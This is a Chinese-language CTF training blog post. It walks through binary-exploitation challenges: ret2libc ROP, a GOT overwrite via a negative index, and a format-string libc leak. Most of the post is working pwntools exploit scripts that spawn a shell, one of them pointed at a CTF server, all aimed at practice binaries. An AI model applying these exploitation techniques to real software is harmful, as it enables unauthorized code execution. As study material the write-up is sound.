pwn暑假训练(十) emem这次的测验自己还是太菜

记一下昨天的测验我直接讲我没过的题目
有system函数没有’bin/sh’只开了nx但gadget少的可怜题目直接给了libc那就不用想了直接找偏移…我同学给的libc偏移不对…

Gadgets information
============================================================
0x00000000004006d2 : pop rbp ; ret
0x00000000004006d1 : pop rbx ; pop rbp ; ret
0x0000000000400585 : ret
0x0000000000400735 : ret 0xbdb8

Unique gadgets found: 4

这是我查的gadget没有传参的寄存器然后最后还是用的我Ubuntu的libc才解决…

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

这是漏洞函数
exp:

from pwn import *
p=process('./pwn3')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
print hex(libc.symbols['system'])
pop_rdi=0x021102
data=p.recvuntil('\n',drop=True)

system_addr=int(data,16)

libcbase=system_addr-libc.symbols['system']

bin_sh=libcbase+int(libc.search('/bin/sh').next())
pop_rdi_base=libcbase+pop_rdi
offset=136
payload='a'*offset
payload+=p64(pop_rdi+libcbase)
payload+=p64(bin_sh)
payload+=p64(system_addr)
#payload+=p64(system_addr)
#payload+=p64(0)
#payload+=p64(bin_sh)
#gdb.attach(p,'')
p.recvuntil('Hello, World')
p.sendline(payload)
p.interactive()

pwn4
也是gadget很少几乎和上一题一样的没啥区别
pwn5
这道题的主要代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  puts("now you can input your idx");
  v4 = 0;
  __isoc99_scanf("%d", &v4);
  read(0, (void *)(v4 + 6295680LL), 0x30uLL);
  puts("bye bye");
  return 0;
}

发现idx和read的基参数是写在bss的buf段的当时我想到了填负数但是没想到还可以got表覆盖…郁闷了
exp给上

from pwn import *
p=process('./pwn5')
p.recvuntil('now you can input your idx')
p.sendline('-104')
system_addr=0x0400716
payload=p64(system_addr)
p.sendline(payload)
p.interactive()


最后一个我今天做的bugku的pwn5
也是一道泄露libc的题目但是我有一点问题就是看不出__libc_main_start 在libc中的偏移大佬说使用gdb调出来但我没有调出来整个思路就是先是格式化字符串泄露一个libc函数确定libc然后算出基址system,‘、/bin/sh’的地址然后用gadget就可以getshell了

nt __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-20h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  memset(&s, 0, 0x20uLL);
  puts(&::s);
  read(0, &s, 8uLL);
  printf(&s, &s);#这里就有格式化字符串漏洞
  puts(&s);
  puts(&s);
  puts(&s);
  puts(&byte_400978);
  sleep(1u);
  puts(asc_400998);
  read(0, &s, 0x40uLL);
  if ( !strstr(&s, &needle) || !strstr(&s, &byte_4009BA) )#这个到内存里面看字符串就行了
  {
    puts(&byte_4009C8);
    exit(0);
  }
  puts(&byte_4009F8);
  return 0;
}

上exp:

#coding:utf-8
from pwn import *
#from LibcSearcher import LibcSearcher
libc=ELF('./libc6_2.23-0ubuntu10_amd64.so')
p=process('./human')
#p=remote('114.116.54.89',10005)
#payload='%11$p'
pop_rdi=0x0400933
p.recvuntil('\n\n')
p.sendline('%11$p')
libc_start_main_ret = int(p.recvuntil('\n',drop=True)[2:],16)
offset_system=libc.symbols['system']
offset_bin_sh=libc.search('/bin/sh').next()
offset___libc_start_main_ret = libc.symbols['__libc_start_main']
libcbase=libc_start_main_ret - 0x544
system_addr=libcbase+0x45390
bin_sh=libcbase+0x18cd57



payload = 'a鸽子' + 'a'+'真香' + '\x00'
#payload += '真香' + '\x00'
payload=payload.ljust(0x20,'a')
payload+='b'*8
payload+=p64(pop_rdi)
payload+=p64(bin_sh)
payload+=p64(system_addr)
p.recvuntil('?\n')
p.sendline(payload)

p.interactive()
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值